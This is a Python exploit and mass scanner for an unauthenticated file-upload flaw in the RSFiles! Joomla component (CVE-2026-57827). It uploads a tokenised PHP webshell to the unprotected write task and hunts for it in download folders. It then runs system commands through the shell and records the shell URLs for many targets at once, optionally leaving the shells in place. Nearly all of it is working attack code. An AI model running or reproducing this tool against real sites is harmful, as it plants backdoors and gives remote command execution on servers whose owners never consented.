#!/usr/bin/env python3
"""
CVE-2026-57827 — RSFiles! Joomla Component Unauthenticated File Upload RCE
CVSS 9.8 / 10.0 | Pre-Auth | Split-controller upload bypass

RSFiles! (com_rsfiles) < 1.17.12 splits upload across two frontend tasks:
  1. Pre-flight check (task=rsfiles.checkupload): permission gate + allow-list
  2. Write method (task=rsfiles.upload): saves file to disk
     -- NO permission check, NO file-type check, NO CSRF token enforcement

The write task can be called directly, skipping the pre-flight check entirely.
No login, no CSRF token. Joomla's bundled upload handler accepts any file type.
Fixed: 1.17.12 (adds CSRF token + permission check + allow-list to write task)

Credits / inspiration:
  * The multi-stage "detect a Joomla component, then exploit a split task" style
    is modelled on public Joomla component-exploit collections, most notably
    incredibleindishell/joomla-vulnerabilities (GitHub) and the RSJoomla/mysites.guru
    write-ups for this exact advisory.
  * No public PoC for CVE-2026-57827 exists at the time of writing (per the
    mySites.guru disclosure), so this tool is an independent re-implementation
    of the described attack chain.
  * The tokenised minimal PHP file-manager payload follows the common "webshell"
    snippet pattern seen across GitHub security PoCs.

Layout:
  common.py          -> shared config, HTTP client, helpers
  rsfiles_detect.py  -> standalone component/version detection module
  cve_2026_57827.py  -> exploitation + scanner + CLI (this file)
"""

from __future__ import annotations

import os
import sys

# Make sure this script's own directory is on the import path so that the
# sibling modules (`common`, `rsfiles_detect`) can be found no matter where
# or how we are launched.
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))

import argparse
import csv
import re
import threading
import time
from concurrent.futures import ThreadPoolExecutor, as_completed
from dataclasses import asdict
from typing import Optional

import requests

from common import (
    Config,
    HttpClient,
    Result,
    SPIN,
    base_of,
    c,
    normalize_host,
    rand_id,
    GREEN,
    RED,
    YELLOW,
    DIM,
    TIMEOUT,
    MAX_THREADS,
)
from payload import build_shell, random_shell_name
from rsfiles_detect import Detector, PATCHED_VERSION


# Confirmed endpoint from the RSJoomla advisory.
UPLOAD_ENDPOINT = "/index.php?option=com_rsfiles&task=rsfiles.upload"

# Default / candidate download folders (web root, PHP execution on by default).
DOWNLOAD_PATHS = [
    "/downloads/",
    "/briefcase/",
    "/components/com_rsfiles/downloads/",
    "/images/rsfiles/",
]


# --------------------------------------------------------------------------- #
# Exploit logic
# --------------------------------------------------------------------------- #
class RSFilesExploit:
    def __init__(self, cfg: Config, http: HttpClient):
        self.cfg = cfg
        self.http = http
        self.detector = Detector(cfg, http)
        self.last_upload = {}   # diagnostics for the most recent attempt

    def _log(self, host: str, msg: str) -> None:
        if self.cfg.debug:
            print(f"  {c(f'[{host}]', DIM)} {msg}", flush=True)

    # -- exploitation ----------------------------------------------------------
    def deploy(self, host: str, base: str) -> Optional[dict]:
        token = rand_id(16)
        shell_name = random_shell_name()
        payload = build_shell(token)
        self.last_upload = {}

        url = f"{base}{UPLOAD_ENDPOINT}"
        self._log(host, f"POST {url}")
        files = {"file": (shell_name, payload, "application/octet-stream")}
        data = {
            "option": "com_rsfiles",
            "task": "rsfiles.upload",
            "folder": "",
            "from": "",
            "overwrite": "1",
        }
        try:
            resp = self.http.request(
                base, "POST", url, files=files, data=data,
                timeout=self.cfg.timeout, allow_redirects=False,
            )
            self._log(host, f"upload status={resp.status_code}")
            self.last_upload["status"] = resp.status_code
            self.last_upload["location"] = resp.headers.get("Location")
            body = resp.text or ""
            self.last_upload["body"] = body[:200]
        except requests.RequestException as e:
            self._log(host, f"upload failed: {e}")
            self.last_upload["status"] = "exception"
            self.last_upload["error"] = str(e)
            return None

        for dl in DOWNLOAD_PATHS:
            shell_url = f"{base}{dl}{shell_name}"
            self.last_upload["probed"] = self.last_upload.get("probed", []) + [shell_url]
            if self._shell_responds(shell_url, token):
                return {"url": shell_url, "token": token, "name": shell_name, "base": base}

        # Fall back to a path hinted in the upload response body
        # (e.g. {"ok":1,"path":"/downloads/shell.php"}).
        hinted = self._extract_hinted_path(resp.text)
        if hinted:
            hinted_url = hinted if hinted.startswith(("http://", "https://")) else base + hinted
            self._log(host, f"trying hinted path: {hinted_url}")
            self.last_upload["probed"].append(hinted_url)
            if self._shell_responds(hinted_url, token):
                return {"url": hinted_url, "token": token, "name": shell_name, "base": base}

        return None

    def _shell_responds(self, shell_url: str, token: str) -> bool:
        try:
            r = self.http.request(
                base_of(shell_url), "GET", f"{shell_url}?t={token}", timeout=5,
            )
        except requests.RequestException:
            return False
        ok = r.status_code == 200 and "think</h2>" in r.text and "<?php" not in r.text
        self._log(shell_url, f"shell probe -> {r.status_code} ok={ok}")
        return ok

    @staticmethod
    def _extract_hinted_path(body: str) -> Optional[str]:
        m = re.search(
            r'(?:path|url|file|location)["\']?\s*[:=]\s*["\']?([^"\'<>\s]+)',
            body, re.IGNORECASE,
        )
        return m.group(1) if m else None

    def verify_rce(self, shell_url: str, token: str) -> Optional[str]:
        try:
            r = self.http.request(
                base_of(shell_url), "GET", f"{shell_url}?t={token}&c=id;hostname;uname+-a",
                timeout=self.cfg.timeout,
            )
        except requests.RequestException:
            return None
        # Greedy to the final |E sentinel (the shell always ends its reply with
        # "|E"), so command output that itself contains "|E" is not truncated.
        m = re.search(r"C\|(.*)\|E\s*$", r.text, re.DOTALL)
        return m.group(1).strip()[:300] if m else None

    def cleanup_shell(self, shell_url: str, token: str, name: str) -> None:
        try:
            self.http.request(
                base_of(shell_url), "GET", f"{shell_url}?t={token}&del={name}", timeout=5,
            )
        except requests.RequestException:
            pass

    # -- top-level runner --------------------------------------------------------
    def run(self, raw_host: str) -> Result:
        t0 = time.time()
        host = normalize_host(raw_host)
        r = Result(host=host)

        d = self.detector.detect(host)
        if not d.detected:
            r.status = "not_found"
            r.elapsed = time.time() - t0
            return r
        r.detected, r.version = True, d.version
        r.protocol = d.protocol

        # Patched-version short-circuit: don't waste traffic on fixed installs.
        if self.detector.is_patched(d.version):
            r.status = "patched"
            r.error = f"RSFiles! >= {PATCHED_VERSION} installed; not vulnerable"
            r.elapsed = time.time() - t0
            return r

        shell = self.deploy(host, d.base)
        if not shell:
            r.status = "failed"
            st = self.last_upload.get("status")
            body = (self.last_upload.get("body") or "").replace("\n", " ").strip()
            if st == "exception":
                r.error = f"upload request failed: {self.last_upload.get('error')}"
            elif st in (200, 201):
                r.error = (f"upload accepted (HTTP {st}) but shell not found in any "
                           f"candidate folder — downloads folder likely secured or "
                           f"file dropped ({body[:80]})")
            elif st in (403, 401):
                r.error = (f"upload rejected (HTTP {st}) — patched (>= {PATCHED_VERSION}) "
                           f"or permission check now blocks the write task")
            elif st in (302, 301):
                loc = self.last_upload.get("location")
                r.error = f"upload redirected (HTTP {st}{' -> ' + loc if loc else ''}) — typically the patched flow"
            elif st:
                r.error = f"upload returned HTTP {st} and shell not found ({body[:80]})"
            else:
                r.error = "upload failed (patched, folder secured, or RSFirewall dropped .php)"
            r.elapsed = time.time() - t0
            return r

        r.upload_ok = True
        r.shell_url, r.token = shell["url"], shell["token"]

        out = self.verify_rce(shell["url"], shell["token"])
        if out:
            r.rce = True
            r.output = out
        else:
            r.error = "shell uploaded but exec failed (disabled or filtered)"

        if self.cfg.cleanup and r.rce:
            self.cleanup_shell(shell["url"], shell["token"], shell["name"])

        r.status = "rce" if r.rce else "uploaded"
        r.elapsed = time.time() - t0
        return r


# --------------------------------------------------------------------------- #
# Scanner / reporting
# --------------------------------------------------------------------------- #
class Scanner:
    def __init__(self, targets: list[str], cfg: Config):
        self.targets = targets
        self.cfg = cfg
        self.http = HttpClient(cfg)
        self.results: list[Result] = []
        self._lock = threading.Lock()
        self._n = 0
        self._det = 0
        self._rce = 0

    def run(self) -> list[Result]:
        total = len(self.targets)
        self._print_header(total)

        t0 = time.time()
        if total <= 1:
            # single target: run inline for clean sequential output
            r = RSFilesExploit(self.cfg, self.http).run(self.targets[0])
            self.results.append(r)
            self._print_single(r)
        else:
            self._scan_many(total)

        self._write_reports()
        self.http.close_all()
        self._print_summary(time.time() - t0)
        return self.results

    def _scan_many(self, total: int) -> None:
        with ThreadPoolExecutor(max_workers=self.cfg.threads) as ex:
            futs = {ex.submit(self._one, t): t for t in self.targets}
            for fut in as_completed(futs):
                try:
                    r = fut.result()
                except Exception as e:  # never let one target kill the scan
                    r = Result(host=str(futs[fut]), status="error", error=str(e))
                self._record(r, total)

    def _one(self, raw: str) -> Result:
        # each thread gets its own exploit instance but shares the pooled client
        return RSFilesExploit(self.cfg, self.http).run(raw)

    # -- results accounting (incremental counters, O(1) not O(n)) --------------
    def _record(self, r: Result, total: int) -> None:
        with self._lock:
            self.results.append(r)
            self._n += 1
            if r.detected:
                self._det += 1
            if r.rce:
                self._rce += 1
                print(f"  {c('[RCE]', GREEN)} {r.host:36s} {r.shell_url}", flush=True)
                if self.cfg.output:
                    self._append_url(r)
            pct = self._n * 100 // total
            filled = int(15 * self._n / total)
            bar = "█" * filled + "░" * (15 - filled)
            spin = SPIN[self._n % len(SPIN)]
            sys.stdout.write(
                f"\r\033[K  {spin} [{bar}] {self._n}/{total} ({pct}%) "
                f"Det:{self._det}  RCE:{self._rce}"
            )
            sys.stdout.flush()

    def _append_url(self, r: Result) -> None:
        try:
            with open(self.cfg.output, "a") as f:
                f.write(f"{r.shell_url}?t={r.token}&c=id\n")
        except OSError:
            pass

    # -- reporting --------------------------------------------------------------
    def _print_header(self, total: int) -> None:
        print(BANNER)
        print(f"  Targets: {total}  |  Threads: {self.cfg.threads}"
              + (f"  |  Proxy: {self.cfg.proxy}" if self.cfg.proxy else ""))
        print()

    def _print_single(self, r: Result) -> None:
        Y = GREEN
        print()
        print(f"  Host     : {r.host}")
        print(f"  RSFiles! : {c('YES', Y)}{' v'+r.version if r.version else ''}"
              if r.detected else "  RSFiles! : NO")
        print(f"  Protocol : {r.protocol or '-'}")
        print(f"  Upload   : {c('YES', Y)}" if r.upload_ok else "  Upload   : NO")
        print(f"  RCE      : {c('YES', Y)}" if r.rce else "  RCE      : NO")
        if r.shell_url:
            print(f"  Shell    : {r.shell_url}?t={r.token}")
        if r.output:
            print(f"  Output   : {r.output}")
        if r.error:
            print(f"  Note     : {c(r.error, YELLOW)}")
        print(f"  Time     : {r.elapsed:.1f}s")

    def _print_summary(self, elapsed: float) -> None:
        if len(self.targets) > 1:
            sys.stdout.write("\r\033[K\n")
        print(f"\n  {'─' * 55}")
        print(f"  Done | {elapsed:.0f}s | Targets:{self._n} | Detected:{self._det} | RCE:{self._rce}")
        print(f"  {'─' * 55}\n")

    def _write_reports(self) -> None:
        if not self.cfg.csv_output:
            return
        try:
            with open(self.cfg.csv_output, "w", newline="") as f:
                w = csv.DictWriter(f, fieldnames=list(asdict(Result(""))))
                w.writeheader()
                for r in self.results:
                    w.writerow(asdict(r))
        except OSError as e:
            print(f"  {c('[!] could not write CSV: ' + str(e), RED)}", file=sys.stderr)


BANNER = r"""
   ____  ____  _____ _ _
  |  _ \/ ___||  ___(_) | ___  ___
  | |_) \___ \| |_  | | |/ _ \/ __|
  |  _ < ___) |  _| | | |  __/\__ \
  |_| \_\____/|_|   |_|_|\___||___/

  CVE-2026-57827 · RSFiles! < 1.17.12 · Unauthenticated File Upload -> RCE
  Authorized testing only. Built for defense research and PoC validation.
"""


# --------------------------------------------------------------------------- #
# CLI
# --------------------------------------------------------------------------- #
def parse_args(argv: Optional[list[str]] = None) -> argparse.Namespace:
    p = argparse.ArgumentParser(
        prog="cve_2026_57827.py",
        description="CVE-2026-57827 — RSFiles! Joomla Unauthenticated File Upload RCE",
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog="""examples:
  python3 cve_2026_57827.py -t example.com
  python3 cve_2026_57827.py -f targets.txt -o shells.txt
  python3 cve_2026_57827.py -t example.com --proxy http://127.0.0.1:8080 --debug
  python3 cve_2026_57827.py -f targets.txt --csv out.csv --no-cleanup""",
    )
    src = p.add_mutually_exclusive_group(required=True)
    src.add_argument("-t", "--target", help="single target host")
    src.add_argument("-f", "--file", help="file of targets (one per line, # = comment)")
    p.add_argument("-o", "--output", help="save RCE URLs to file")
    p.add_argument("--csv", dest="csv_output", help="write full structured report to CSV")
    p.add_argument("--threads", type=int, default=MAX_THREADS)
    p.add_argument("--timeout", type=float, default=TIMEOUT)
    p.add_argument("--proxy", help="HTTP proxy, e.g. http://127.0.0.1:8080")
    p.add_argument("--no-cleanup", action="store_true", help="keep the uploaded shell")
    p.add_argument("-v", "--verbose", action="store_true", help="alias for --debug")
    p.add_argument("--debug", action="store_true", help="verbose request-level logging")
    return p.parse_args(argv)


def load_targets(a: argparse.Namespace) -> list[str]:
    targets: list[str] = []
    if a.target:
        targets.append(a.target)
    if a.file:
        if not os.path.isfile(a.file):
            print(f"  {c('[!] target file not found: ' + a.file, RED)}", file=sys.stderr)
            sys.exit(1)
        with open(a.file) as f:
            targets.extend(
                line.strip() for line in f
                if line.strip() and not line.startswith("#")
            )
    # de-duplicate preserving order
    seen: set[str] = set()
    uniq = []
    for t in targets:
        n = normalize_host(t)
        if n and n not in seen:
            seen.add(n)
            uniq.append(n)
    return uniq


def main(argv: Optional[list[str]] = None) -> int:
    a = parse_args(argv)
    cfg = Config(
        timeout=float(a.timeout),
        threads=a.threads,
        debug=a.debug or a.verbose,
        cleanup=not a.no_cleanup,
        proxy=a.proxy,
        output=a.output,
        csv_output=a.csv_output,
    )
    targets = load_targets(a)
    Scanner(targets, cfg).run()
    return 0


if __name__ == "__main__":
    sys.exit(main())